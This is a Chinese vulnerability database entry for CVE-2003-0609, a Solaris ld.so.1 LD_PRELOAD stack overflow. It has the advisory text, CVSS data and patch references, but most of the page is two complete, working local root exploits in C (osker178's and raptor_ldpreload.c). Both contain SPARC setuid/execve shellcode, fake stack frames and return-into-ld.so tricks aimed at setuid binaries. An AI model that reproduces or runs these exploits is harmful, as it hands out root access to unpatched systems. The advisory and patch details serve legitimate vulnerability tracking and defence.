CVE-2003-0609
CVSS7.2
发布时间 :2003-08-27 00:00:00
修订时间 :2016-10-17 22:35:49
NMCOEPS    

[原文]Stack-based buffer overflow in the runtime linker, ld.so.1, on Solaris 2.6 through 9 allows local users to gain root privileges via a long LD_PRELOAD environment variable.


[CNNVD]Sun Solaris实时连接器本地缓冲区溢出漏洞(CNNVD-200308-140)

        
        Solaris是一款由Sun Microsystems公司开发和维护的商业性质UNIX操作系统。
        Solaris包含的实时连接器在处理LD_PRELOAD值时缺少正确的边界缓冲区检查,本地攻击者可以利用这个漏洞以root用户权限在系统上执行任意指令。
        Solaris包含的实时连接器ld.so.1(1),处理动态可执行文件和共享对象。一般的Solaris安装下几乎所有SUID/SGID程序动态连接方式运行。环境变量LD_PRELOAD用于ld.so.1在实时连接过程中装载指定库,如果setuid或者setgid程序被装载,此变量值会进行安全检查而防止恶意用户指定的库是否被连接。不过实时连接器没有对LD_PRELOAD变量值进行充分的边界检查。如果攻击者提供的LD_PRELOAD变量值以"/"符号开头和结尾,并其中包含1200字符,就可以导致触发缓冲区溢出,精心构建提交数据可能以root用户权限在系统上执行任意指令。
        此漏洞只影响安装了如下特定补丁的系统:
        SPARC平台
        Solaris 2.6 使用了107733-10而没有采用107733-11补丁
        Solaris 7 采用了106950-14到106950-22补丁而没有采用106950-23
        Solaris 8 采用了109147-07到109147-24补丁而没有采用109147-25
        Solaris 9 没有采用112963-09补丁
        x86平台
        Solaris 2.6 使用了107733-10而没有采用107733-11补丁
        Solaris 7 采用了106950-14到106950-22补丁而没有采用106950-23
        Solaris 8 采用了109147-07到109147-24补丁而没有采用109147-25
        Solaris 9 没有采用112963-09补丁
        

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:sun:solaris:7.0
cpe:/o:sun:solaris:9.0::x86
cpe:/o:sun:solaris:2.6::x86
cpe:/o:sun:solaris:8.0::x86
cpe:/o:sun:solaris:7.0::x86
cpe:/o:sun:solaris:2.6
cpe:/o:sun:solaris:8.0
cpe:/o:sun:solaris:9.0::sparc

- OVAL (用于检测的技术细节)

oval:org.mitre.oval:def:3601Runtime linker, ld.so.1 LD_PRELOAD Envvar Buffer Overflow
*OVAL详细的描述了检测该漏洞的方法,你可以从相关的OVAL定义中找到更多检测该漏洞的技术细节。

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0609
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2003-0609
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200308-140
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=105951760418667&w=2
(UNKNOWN)  BUGTRAQ  20030729 Solaris ld.so.1 buffer overflow
http://sunsolve.sun.com/pub-cgi/retrieve.pl?doc=fsalert/55680
(UNKNOWN)  SUNALERT  55680
http://www.idefense.com/advisory/07.29.03.txt
(UNKNOWN)  IDEFENSE  20030729 Buffer Overflow in Sun Solaris Runtime Linker
http://xforce.iss.net/xforce/xfdb/12755
(UNKNOWN)  XF  sun-ldso1-ldpreload-bo(12755)

- 漏洞信息

Sun Solaris实时连接器本地缓冲区溢出漏洞
高危 边界条件错误
2003-08-27 00:00:00 2005-10-20 00:00:00
本地  
        
        Solaris是一款由Sun Microsystems公司开发和维护的商业性质UNIX操作系统。
        Solaris包含的实时连接器在处理LD_PRELOAD值时缺少正确的边界缓冲区检查,本地攻击者可以利用这个漏洞以root用户权限在系统上执行任意指令。
        Solaris包含的实时连接器ld.so.1(1),处理动态可执行文件和共享对象。一般的Solaris安装下几乎所有SUID/SGID程序动态连接方式运行。环境变量LD_PRELOAD用于ld.so.1在实时连接过程中装载指定库,如果setuid或者setgid程序被装载,此变量值会进行安全检查而防止恶意用户指定的库是否被连接。不过实时连接器没有对LD_PRELOAD变量值进行充分的边界检查。如果攻击者提供的LD_PRELOAD变量值以"/"符号开头和结尾,并其中包含1200字符,就可以导致触发缓冲区溢出,精心构建提交数据可能以root用户权限在系统上执行任意指令。
        此漏洞只影响安装了如下特定补丁的系统:
        SPARC平台
        Solaris 2.6 使用了107733-10而没有采用107733-11补丁
        Solaris 7 采用了106950-14到106950-22补丁而没有采用106950-23
        Solaris 8 采用了109147-07到109147-24补丁而没有采用109147-25
        Solaris 9 没有采用112963-09补丁
        x86平台
        Solaris 2.6 使用了107733-10而没有采用107733-11补丁
        Solaris 7 采用了106950-14到106950-22补丁而没有采用106950-23
        Solaris 8 采用了109147-07到109147-24补丁而没有采用109147-25
        Solaris 9 没有采用112963-09补丁
        

- 公告与补丁

        厂商补丁:
        Sun
        ---
        目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
        SPARC Platform
        Solaris 2.6 patch 107733-11:
        
        http://sunsolve.sun.com/pub-cgi/findPatch.pl?patchId=107733&rev=11

        Solaris 7 patch 106950-23:
        
        http://sunsolve.sun.com/pub-cgi/findPatch.pl?patchId=106950&rev=23

        Solaris 8 patch 109147-25:
        
        http://sunsolve.sun.com/pub-cgi/findPatch.pl?patchId=109147&rev=25

        Solaris 9 patch 112963-09:
        
        http://sunsolve.sun.com/pub-cgi/findPatch.pl?patchId=112963&rev=09

        x86 Platform
        Solaris 2.6 patch 107734-11:
        
        http://sunsolve.sun.com/pub-cgi/findPatch.pl?patchId=107734&rev=11

        Solaris 7 patch 106951-23:
        
        http://sunsolve.sun.com/pub-cgi/findPatch.pl?patchId=106951&rev=23

        Solaris 8 patch 109148-25:
        
        http://sunsolve.sun.com/pub-cgi/findPatch.pl?patchId=109148&rev=25

        Solaris 9 patch 113986-05:
        
        http://sunsolve.sun.com/pub-cgi/findPatch.pl?patchId=113986&rev=09

- 漏洞信息 (114)

Solaris Runtime Linker (ld.so.1) Buffer Overflow Exploit (SPARC version) (EDBID:114)
solaris local
2003-10-27 Verified
0 osker178
N/A [点击下载]
/* #############################
 * ## ld.so.1 exploit (SPARC) ##
 * #############################
 * [coded by: osker178 (bjr213 psu.edu)]
 *
 * Alright, so this exploits a fairly standard buffer
 * overflow in the default Solaris runtime linker (ld.so.1)
 * (discovery by Jouko Pynnonen)
 * Only real deviation here from the standard overflow
 * and return into libc scenario is that at the time that 
 * overflow occurs, the libc object file has not been loaded; 
 * so it's not really possible to return into a libc function.
 * However, this poses no real problem to us, as ld.so.1 
 * provides it's own ___cpy() functions which we can use to 
 * move our shellcode into an appropriate place in memory.  
 *
 * Some things to note:
 *
 *  -  obviously some of the pre-defined addresses will have to be changed
 *  
 *  -  1124-1128 bytes into our buffer provided to LD_PRELOAD we will end up
 *     overwriting a char *; this is actually very helpful for locating where
 *     the rest of our information is stored in memory, as this pointer
 *     will be used to display another error message, showing us what string 
 *     is stored at the address we overwrote this pointer with.
 *  
 *  -  ... eh, that's enough, just look at the code to figure the rest out
 */
#include <dlfcn.h>
#include <stdio.h>
#include <signal.h>
#include <setjmp.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <link.h>


char SPARC_sc[] =
  /* setuid(0) */
  "\x90\x1b\xc0\x0f" /* xor     %o7,%o7,%o0 */
  "\x82\x10\x20\x17" /* mov     23,%g1 | 23 == SYS_setuid()*/
  "\x91\xd0\x20\x08" /* ta      8 */

  /* setreuid(0,0) - for me at least, these both had to be called */
  "\x92\x1a\x40\x09" /* xor     %o1,%o1,%o1 */
  "\x82\x10\x20\xca" /* mov     202, %g1 | 202 == SYS_setreuid()*/
  "\x91\xd0\x20\x08" /* ta      8 */

  /* exec(/bin/sh) */
  "\x21\x0b\xd8\x9a" /* sethi   %hi(0x2f626800), %l0 */
  "\xa0\x14\x21\x6e" /* or      %l0, 0x16e, %l0 ! 0x2f62696e */
  "\x23\x0b\xdc\xda" /* sethi   %hi(0x2f736800), %l1 */
  "\x90\x23\xa0\x10" /* sub     %sp, 16, %o0 */
  "\x92\x23\xa0\x08" /* sub     %sp, 8, %o1 */
  "\x94\x1b\x80\x0e" /* xor     %sp, %sp, %o2 */
  "\xe0\x3b\xbf\xf0" /* std     %l0, [%sp - 16] */
  "\xd0\x23\xbf\xf8" /* st      %o0, [%sp - 8] */
  "\xc0\x23\xbf\xfc" /* st      %g0, [%sp - 4] */
  "\x82\x10\x20\x3b" /* mov     59, %g1 | 59 = SYS_execve() */
  "\x91\xd0\x20\x08" /* ta      8 */
;


const long FRAME_ADDR = 0xffbee938;
const long SHELLCODE_ADDR = 0xffbef17a;   
const long DESTCPY_ADDR = 0xff3e7118; 
const long DEF_OFFSET = 0x20;

const int ENV_STR_SIZE = 2048;
const int FRAME_SIZE = 64; /* 8 %i regs and 8 %l regs */
const int DEF_FPAD_LEN = 4;
const int REC_BUF_SIZE = 1456;


char * get_ld_env(int buf_len, long offset); 
char * get_fake_frame(long offset);
char * get_envs_str(char fill);
unsigned long get_strcpy_addr();



/* ********************************************** *
 * ******************** MAIN ******************** *
 * ********************************************** */

int main(int argc, char **argv)
{

  char *prog[3];
  char *envs[7];  
  char opt;
  int buf_size = -1;
  int fpad_len = -1;
  long offset = -1;

  char *ld_pre_env = 0x0;
  char *fake_frame = 0x0;
 

  /* padding of sorts */
  char *envs_str1 = 0x0; 
  char *envs_str2 = 0x0; 
  char *fpad_buf = 0x0;

  // ------------------------------------------------ //
  

  while((opt = getopt(argc, argv, "s:o:p:")) != -1)
  {
    switch(opt) {
    case 's':
      if(!optarg) {
	printf("-s needs size argument\n");
	exit(0);
      }
      else
	buf_size = atoi(optarg);
      break;

    case 'o':
      if(!optarg) {
	printf("-o needs offset argument\n");
	exit(0);
      }
      else
	offset = atol(optarg);
      break;

    case 'p':
      if(!optarg) {
	printf("-p needs pad length argument\n");
	exit(0);
      }
      else {
	fpad_len = atoi(optarg);
	if(fpad_len < 0)
	  fpad_len = 0;
      }
      break;

    default:
      printf("Usage: %s [-s size] [-o offset] [-p fpad_len]\n", argv[0]);
      exit(0);

    }
    
    argc -= optind;
    argv += optind;	
  }
  
  printf("\n#######################################\n");
  printf("# ld.so.1 LD_PRELOAD (SPARC) exploit  #\n");
  printf("# coded by: osker178 (bjr213@psu.edu) #\n");
    printf("#######################################\n\n");

  if(buf_size == -1)
  {
    printf("Using default/recommended buffer size of %d\n", REC_BUF_SIZE);
    buf_size = REC_BUF_SIZE;
  }
  else if(buf_size % 4)
  {
    buf_size = buf_size + (4 - (buf_size%4));
    printf("WARNING: Rounding BUF_SIZE up to 0x%x (%d)\n", buf_size, buf_size);
  }


  if(offset == -1)
  {
    printf("Using default OFFSET of 0x%x (%d)\n", DEF_OFFSET, DEF_OFFSET);
    offset = DEF_OFFSET;
  }  
  else if((FRAME_ADDR + offset) % 8)
  {
    offset = offset + (8 - (offset%8));
    printf("WARNING: Rounding offset up to 0x%x (%d)\n", offset, offset);
    printf("(otherwise FRAME_ADDR would not be alligned correctly)\n");
  }


  if(fpad_len == -1)
  {
    printf("Using default FPAD_LEN of 0x%x (%d)\n", DEF_FPAD_LEN, DEF_FPAD_LEN);
    fpad_len = DEF_FPAD_LEN;
  }

  // -------------------------------------------------- //


  ld_pre_env = get_ld_env(buf_size, offset);
  if(!ld_pre_env)
    exit(0);
  
  fake_frame = get_fake_frame(offset);
  if(!fake_frame)
    exit(0);
  
  envs_str1 = get_envs_str('1');
  if(!envs_str1)
    exit(0);

  envs_str2 = get_envs_str('2');
  if(!envs_str2)
    exit(0);

    

  // -------------------------------------------------- //


  fpad_buf = (char *)malloc(fpad_len+1);
  if(!fpad_buf)
  {
    perror("malloc");
    exit(0);
  }
  memset(fpad_buf, 'F', fpad_len);
  fpad_buf[fpad_len] = '\0';
  

  envs[0] = fpad_buf;
  envs[1] = fake_frame;
  envs[2] = envs_str1;
  envs[3] = SPARC_sc;
  envs[4] = envs_str2;
  envs[5] = ld_pre_env;
  envs[6] = NULL;

  prog[0] = "/usr/bin/passwd";
  prog[1] = "passwd";
  prog[2] = NULL;

  execve(prog[0], prog, envs);

  perror("execve");

  return 0;
}


/* ********************************************** */





/* ********************************************** *
 * ***************** GET_LD_ENV ***************** *
 * ********************************************** */
char * get_ld_env(int buf_len, long offset)
{
  long *lp;
  char *buf;
  char *ld_pre_env;
  unsigned long strcpy_ret;

  strcpy_ret = get_strcpy_addr(); 
  if(!strcpy_ret)
    return 0;
  else
    printf("strcpy found at [0x%x]\n\n", strcpy_ret);

  /*
   * buf_size --> main requested length (rounded up to nearest factor of 4)
   * +FRAME_SIZE --> for the fake frame values (64 bytes worth) we will overwrite
   * +1 --> for the "/" character that must be appended in order to pass the strchr() 
   *        and strrchr() tests (see <load_one>: from objdump -d /usr/lib/ld.so.1)
   * +1 --> '\0' obviously
   */
  buf = (char *)malloc(buf_len + FRAME_SIZE + 1 + 1); 
  if(!buf)
  {
    perror("malloc");
    return 0;
  }


  memset(buf, 'A', buf_len); 
  buf[0] = '/';
  
  /* this is the location of the (char *) in ld.so.1 we are overwriting 
   * -> use this to find the address of the environment
   *    arguments (whatever value we write at this address
   *    is what will be displayed in an error message
   *    from ld.so.1 after the error message generated from
   *    our insecure path provided in LD_PRELOAD)
   */
  lp = (long *)(buf + 1124);
  *lp++ = FRAME_ADDR + offset; 

  lp = (long *)(buf + buf_len);

  /* %l regs - as far as we're concerned, these
   *           values don't matter (i've never
   *           had a problem with them)
   */
  *lp++ = 0x61616161; /* %l0 */
  *lp++ = 0x62626262; /* %l1 */
  *lp++ = 0x63636363; /* %l2 */
  *lp++ = 0x64646464; /* %l3 */
  *lp++ = 0x65656565; /* %l4 */
  *lp++ = 0x66666666; /* %l5 */
  *lp++ = 0x67676767; /* %l6 */
  *lp++ = 0x68686868; /* %l7 */

  /* %i regs */
  *lp++ = 0x69696969;     /* %i0 */
  *lp++ = 0x70707070;     /* %i1 */
  *lp++ = 0x71717171;     /* %i2 */
  *lp++ = 0x72727272;     /* %i3 */
  *lp++ = 0x73737373;     /* %i4 */
  *lp++ = 0x74747474;     /* %i5 */
  *lp++ = FRAME_ADDR + offset; /* our fake frame/%i6 */
  *lp = strcpy_ret;      /* ret address/%i7 */
  strcat(buf, "/");


  /* put together our LD_PRELOAD buffer */
  ld_pre_env = (char *)malloc(strlen(buf) + strlen("LD_PRELOAD=") + 1);
  if(!ld_pre_env)
  {
    perror("malloc");
    return 0;
  }

  strcpy(ld_pre_env, "LD_PRELOAD=");
  strcat(ld_pre_env + strlen(ld_pre_env), buf);
  
  free(buf);
  
  return ld_pre_env;
}




/* ********************************************** *
 * *************** GET_FAKE_FRAME *************** *
 * ********************************************** */
char * get_fake_frame(long offset)
{
  long destcpy_addr;
  long *lp;
  char *frame = (char *)malloc(FRAME_SIZE + 1);

  if(!frame)
  {
    perror("malloc");
    return 0;
  }

  /* this worked for me; may have to adjust though 
   * - can easily find a good place by using gdb and pmap */
  destcpy_addr = get_strcpy_addr() + 0x17000;

  lp = (long *)frame;
  
  /* %l regs - values don't matter */
  *lp++ = 0x42454746; /* %l0 <- == "BEGF", use this to help locate frame's address */
  *lp++ = 0xdeaddead; /* %l1 */
  *lp++ = 0xdeaddead; /* %l2 */
  *lp++ = 0xdeaddead; /* %l3 */
  *lp++ = 0xdeaddead; /* %l4 */
  *lp++ = 0xdeaddead; /* %l5 */
  *lp++ = 0xdeaddead; /* %l6 */
  *lp++ = 0xdeaddead; /* %l7 */

  /* %i regs */
  *lp++ = destcpy_addr;              /* %i0 - DESTINATION ADDRESS for ___cpy() */
  *lp++ = (SHELLCODE_ADDR + offset); /* %i1 - SOURCE ADDRESS for ___cpy() */
  *lp++ = 0xdeaddead;                /* %i2 - size*/
  *lp++ = 0xdeaddead;                /* %i3 */
  *lp++ = 0xdeaddead;                /* %i4 */
  *lp++ = 0xdeaddead;                /* %i5 */
  *lp++ = destcpy_addr+0x200;        /* saved frame pointer/%i6(sp) */
  *lp++ = destcpy_addr-0x8;          /* %i7 */
  *lp++ = 0x0;

  return frame;
}



/* ********************************************** *
 * **************** GET_ENVS_STR **************** *
 * ********************************************** */
char * get_envs_str(char fill)
{
  char *envs_str = (char *)malloc(ENV_STR_SIZE + 1);
  
  if(!envs_str)
  {
    perror("malloc");
    return 0;
  }


  memset(envs_str, fill, ENV_STR_SIZE);
  envs_str[0] = 'b'; // \ 
  envs_str[1] = 'e'; // --- help find where we are in memory/in relation to other env variables  */
  envs_str[2] = 'g'; // /  
  envs_str[ENV_STR_SIZE] = '\0';
  
  return envs_str;
}



/* ********************************************** *
 * *************** GET_STRCPY_ADDR ************** *
 * ********************************************** */
unsigned long get_strcpy_addr()
{
  void *handle;
  Link_map *lm;
  unsigned long addr;

  if((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL)
  {
    perror("dlmopen");
    return 0;
  }


  if((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1)
  {
    perror("dlinfo");
    return 0;
  }


  if((addr = (unsigned long)dlsym(handle, "strcpy")) == NULL)
  {
    perror("dlsym");
    return 0;
  } 
  
  /* -4 to skip save and use 
   * our fake frame instead */
  addr -= 4;
 
  /* make sure addr doesn't contain any 0x00 bytes,
   * or '/' characters (as this is where strcpy will
   * cutoff in ld.so.1) */
  if( !(addr & 0xFF) || !(addr & 0xFF00) || 
      !(addr & 0xFF0000) || !(addr & 0xFF000000) ||
      ((addr & 0xFF) == 0x2f) ||
      ((addr & 0xFF00) == 0x2f) ||
      ((addr & 0xFF0000) == 0x2f) ||
      ((addr & 0xFF000000) == 0x2f) )
  {
    printf("ERROR: strcpy address (0x%x) contains unusable bytes somewhere.\n", addr);
    printf("       -> consider using strncpy, memcpy, or another similar substitute instead.\n");
    return 0;
  }

  return addr;
}


// milw0rm.com [2003-10-27]
		

- 漏洞信息 (1182)

Solaris 2.6/7/8/9 (ld.so.1) Local Root Exploit (sparc) (EDBID:1182)
solaris local
2004-12-24 Verified
0 Marco Ivaldi
N/A [点击下载]
/*
 * $Id: raptor_ldpreload.c,v 1.1 2004/12/04 14:44:38 raptor Exp $
 *
 * raptor_ldpreload.c - ld.so.1 local, Solaris/SPARC 2.6/7/8/9
 * Copyright (c) 2003-2004 Marco Ivaldi <raptor@0xdeadbeef.info>
 *
 * Stack-based buffer overflow in the runtime linker, ld.so.1, on Solaris 2.6
 * through 9 allows local users to gain root privileges via a long LD_PRELOAD
 * environment variable (CAN-2003-0609).
 *
 * This exploit uses the ret-into-ld.so technique, to effectively bypass the
 * non-executable stack protection (noexec_user_stack=1 in /etc/system). This
 * is a weird vulnerability indeed: the standard ret-into-stack doesn't seem 
 * to work properly for some reason (SEGV_ACCERR), and at least my version of 
 * Solaris 8 (Generic_108528-13) is very hard to exploit (how to reach ret?).
 * 
 * Usage:
 * $ gcc raptor_ldpreload.c -o raptor_ldpreload -ldl -Wall
 * $ ./raptor_ldpreload
 * [...]
 * # id
 * uid=0(root) gid=1(other)
 * # 
 *
 * Vulnerable platforms:
 * Solaris 2.6 with 107733-10 and without 107733-11 [untested]
 * Solaris 7 with 106950-14 through 106950-22 and without 106950-23 [untested]
 * Solaris 8 with 109147-07 through 109147-24 and without 109147-25 [untested]
 * Solaris 9 without 112963-09 [tested]
 */

#include <dlfcn.h>
#include <fcntl.h>
#include <link.h>
#include <procfs.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>
#include <sys/systeminfo.h>

#define	INFO1	"raptor_ldpreload.c - ld.so.1 local, Solaris/SPARC 2.6/7/8/9"
#define	INFO2	"Copyright (c) 2003-2004 Marco Ivaldi <raptor@0xdeadbeef.info>"

#define	VULN	"/usr/bin/su"		// default setuid target
#define	BUFSIZE	1700 			// size of the evil buffer
#define	FFSIZE	64 + 1			// size of the fake frame
#define	DUMMY	0xdeadbeef		// dummy memory address
#define	ALIGN	3			// needed address alignment

/* voodoo macros */
#define	VOODOO32(_,__,___)	{_--;_+=(__+___-1)%4-_%4<0?8-_%4:4-_%4;}
#define	VOODOO64(_,__,___)	{_+=7-(_+(__+___+1)*4+3)%8;}

char sc[] = /* Solaris/SPARC shellcode (12 + 48 = 60 bytes) */
/* setuid() */
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
/* execve() */
"\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\x90\x03\xe0\x20"
"\x92\x02\x20\x10\xc0\x22\x20\x08\xd0\x22\x20\x10\xc0\x22\x20\x14"
"\x82\x10\x20\x0b\x91\xd0\x20\x08/bin/ksh";

/* globals */
char	*env[256];
int	env_pos = 0, env_len = 0;

/* prototypes */
int 	add_env(char *string);
void	check_zero(int addr, char *pattern);
int	search_ldso(char *sym);
int	search_rwx_mem(void);
void 	set_val(char *buf, int pos, int val);

/*
 * main()
 */
int main(int argc, char **argv)
{
	char	buf[BUFSIZE], ff[FFSIZE];
	char	platform[256], release[256];
	int	i, offset, ff_addr, sc_addr, str_addr;
	int	plat_len, prog_len, rel;
	
	char	*arg[2] = {"foo", NULL};
	int	arg_len = 4, arg_pos = 1;

	int	sb = ((int)argv[0] | 0xffff) & 0xfffffffc;
	int	ret = search_ldso("strcpy");
	int	rwx_mem = search_rwx_mem();

	/* print exploit information */
	fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);

	/* get some system information */
	sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
	sysinfo(SI_RELEASE, release, sizeof(release) - 1);
	rel = atoi(release + 2);

	/* prepare the evil buffer */
	memset(buf, 'A', sizeof(buf));
	buf[sizeof(buf) - 1] = 0x0;
	memcpy(buf, "LD_PRELOAD=/", 12);
	buf[sizeof(buf) - 2] = '/';

	/* prepare the fake frame */
	bzero(ff, sizeof(ff));

	/* 
	 * saved %l registers
	 */
	set_val(ff, i  = 0, DUMMY);		/* %l0 */
	set_val(ff, i += 4, DUMMY);		/* %l1 */
	set_val(ff, i += 4, DUMMY);		/* %l2 */
	set_val(ff, i += 4, DUMMY);		/* %l3 */
	set_val(ff, i += 4, DUMMY);		/* %l4 */
	set_val(ff, i += 4, DUMMY);		/* %l5 */
	set_val(ff, i += 4, DUMMY);		/* %l6 */
	set_val(ff, i += 4, DUMMY);		/* %l7 */

	/*
	 * saved %i registers
	 */
	set_val(ff, i += 4, rwx_mem);		/* %i0: 1st arg to strcpy() */
	set_val(ff, i += 4, 0x42424242);	/* %i1: 2nd arg to strcpy() */
	set_val(ff, i += 4, DUMMY);		/* %i2 */
	set_val(ff, i += 4, DUMMY);		/* %i3 */
	set_val(ff, i += 4, DUMMY);		/* %i4 */
	set_val(ff, i += 4, DUMMY);		/* %i5 */
	set_val(ff, i += 4, sb - 1000);		/* %i6: frame pointer */
	set_val(ff, i += 4, rwx_mem - 8);	/* %i7: return address */

	/* fill the envp, keeping padding */
	sc_addr = add_env(ff);
	str_addr = add_env(sc);
	add_env("bar");
	add_env(buf);
	add_env(NULL);

	/* calculate the offset to argv[0] (voodoo magic) */
	plat_len = strlen(platform) + 1;
	prog_len = strlen(VULN) + 1;
	offset = arg_len + env_len + plat_len + prog_len;
	if (rel > 7)
		VOODOO64(offset, arg_pos, env_pos)
	else
		VOODOO32(offset, plat_len, prog_len)

	/* calculate the needed addresses */
	ff_addr = sb - offset + arg_len;
	sc_addr += ff_addr;
	str_addr += ff_addr;

	/* set fake frame's %i1 */
	set_val(ff, 36, sc_addr);		/* 2nd arg to strcpy() */
	
	/* fill the evil buffer */
	for (i = 12 + ALIGN; i < 1296; i += 4)
		set_val(buf, i, str_addr);	/* must be a valid string */
	/* to avoid distance bruteforcing */
	for (i = 1296 + ALIGN; i < BUFSIZE - 12; i += 4) {
		set_val(buf, i, ff_addr);
		set_val(buf, i += 4, ret - 4);	/* strcpy(), after the save */
	}

	/* print some output */
	fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);
	fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb);
	fprintf(stderr, "Using string address\t: 0x%p\n", (void *)str_addr);
	fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem);
	fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr);
	fprintf(stderr, "Using ff address\t: 0x%p\n", (void *)ff_addr);
	fprintf(stderr, "Using strcpy() address\t: 0x%p\n\n", (void *)ret);

	/* run the vulnerable program */
	execve(VULN, arg, env);
	perror("execve");
	exit(0);
}

/*
 * add_env(): add a variable to envp and pad if needed
 */
int add_env(char *string)
{
	int	i;

	/* null termination */
	if (!string) {
		env[env_pos] = NULL;
		return(env_len);
	}

	/* add the variable to envp */
	env[env_pos] = string;
	env_len += strlen(string) + 1;
	env_pos++;

	/* pad the envp using zeroes */
	if ((strlen(string) + 1) % 4)
		for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
			env[env_pos] = string + strlen(string);
			env_len++;
		}

	return(env_len);
}

/*
 * check_zero(): check an address for the presence of a 0x00
 */
void check_zero(int addr, char *pattern)
{
	if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) ||
	    !(addr & 0xff000000)) {
		fprintf(stderr, "Error: %s contains a 0x00!\n", pattern);
		exit(1);
	}
}

/*
 * search_ldso(): search for a symbol inside ld.so.1
 */
int search_ldso(char *sym)
{
	int		addr;
	void		*handle;
	Link_map	*lm;

	/* open the executable object file */
	if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {
		perror("dlopen");
		exit(1);
	}

	/* get dynamic load information */
	if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {
		perror("dlinfo");
		exit(1);
	}

	/* search for the address of the symbol */
	if ((addr = (int)dlsym(handle, sym)) == NULL) {
		fprintf(stderr, "sorry, function %s() not found\n", sym);
		exit(1);
	}

	/* close the executable object file */
	dlclose(handle);

	check_zero(addr - 4, sym);
	return(addr);
}

/*
 * search_rwx_mem(): search for an RWX memory segment valid for all
 * programs (typically, /usr/lib/ld.so.1) using the proc filesystem
 */
int search_rwx_mem(void)
{
	int	fd;
	char	tmp[16];
	prmap_t	map;
	int	addr = 0, addr_old;

	/* open the proc filesystem */
	sprintf(tmp,"/proc/%d/map", (int)getpid());
	if ((fd = open(tmp, O_RDONLY)) < 0) {
		fprintf(stderr, "can't open %s\n", tmp);
		exit(1);
	}

	/* search for the last RWX memory segment before stack (last - 1) */
	while (read(fd, &map, sizeof(map)))
		if (map.pr_vaddr)
			if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) {
				addr_old = addr;
				addr = map.pr_vaddr;
			}
	close(fd);

	/* add 4 to the exact address NULL bytes */
	if (!(addr_old & 0xff))
		addr_old |= 0x04;
	if (!(addr_old & 0xff00))
		addr_old |= 0x0400;

	return(addr_old);
}

/*
 * set_val(): copy a dword inside a buffer
 */
void set_val(char *buf, int pos, int val)
{
	buf[pos] =      (val & 0xff000000) >> 24;
	buf[pos + 1] =  (val & 0x00ff0000) >> 16;
	buf[pos + 2] =  (val & 0x0000ff00) >> 8;
	buf[pos + 3] =  (val & 0x000000ff);
}

// milw0rm.com [2004-12-24]
		

- 漏洞信息 (F35496)

raptor_ldpreload.c (PacketStormID:F35496)
2004-12-31 00:00:00
Marco Ivaldi  0xdeadbeef.info
exploit,overflow,local,root
solaris
CVE-2003-0609
[点击下载]

Local root exploit for a stack-based buffer overflow in the runtime linker, ld.so.1, on Solaris 2.6 through 9 that allows local users to gain root privileges via a long LD_PRELOAD environment variable.

- 漏洞信息 (F31468)

iDEFENSE Security Advisory 2003-07-29.t (PacketStormID:F31468)
2003-07-29 00:00:00
Jouko Pynnonen,iDefense Labs  idefense.com
advisory,overflow
solaris
CVE-2003-0609
[点击下载]

iDEFENSE Security Advisory 07.29.03: A locally exploitable buffer overflow exists in the ld.so.1 dynamic runtime linker in Sun's Solaris operating system. The LD_PRELOAD variable can be passed a large value, which will cause the runtime linker to overflow a stack based buffer.

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

iDEFENSE Security Advisory 07.29.03:
http://www.idefense.com/advisory/07.29.03.txt
Buffer Overflow in Sun Solaris Runtime Linker
July 29, 2003

I. BACKGROUND

The Solaris runtime linker, ld.so.1(1), processes dynamic executables
and shared objects at runtime, binding them to create a runnable
process. When LD_PRELOAD is set, the dynamic linker will use the
specified library before any other when searching for shared libraries.

II. DESCRIPTION

A locally exploitable buffer overflow exists in the ld.so.1 dynamic
runtime linker in Sun's Solaris operating system. The LD_PRELOAD
variable can be passed a large value, which will cause the runtime
linker to overflow a stack based buffer. The overflow occurs on a
non-executable stack making command execution more difficult than
normal, but not impossible. 

III. ANALYSIS

iDEFENSE has proof of concept exploit code allowing local attackers to
gain root privileges by exploiting the /usr/bin/passwd command on
Solaris 9. A "return to libc" method is utilized to circumvent the
safeguards of the non-executable stack. It is feasible for a local
attacker to exploit this vulnerability to gain root privileges if at
least one setuid root dynamically linked program exists on the system.
Virtually all default implementations of Solaris 8 and 9 fulfill this
criterion.

IV. DETECTION

The following operating system configurations are vulnerable:

SPARC Platform
     * Solaris 2.6 with patch 107733-10 and without patch 107733-11
     * Solaris 7 with patches 106950-14 through 106950-22 and without
       patch 106950-23
     * Solaris 8 with patches 109147-07 through 109147-24 and without
       patch 109147-25
     * Solaris 9 without patch 112963-09

   x86 Platform
     * Solaris 2.6 with patch 107734-10 and without patch 107734-11
     * Solaris 7 with patches 106951-14 through 106951-22 and without
       patch 106951-23
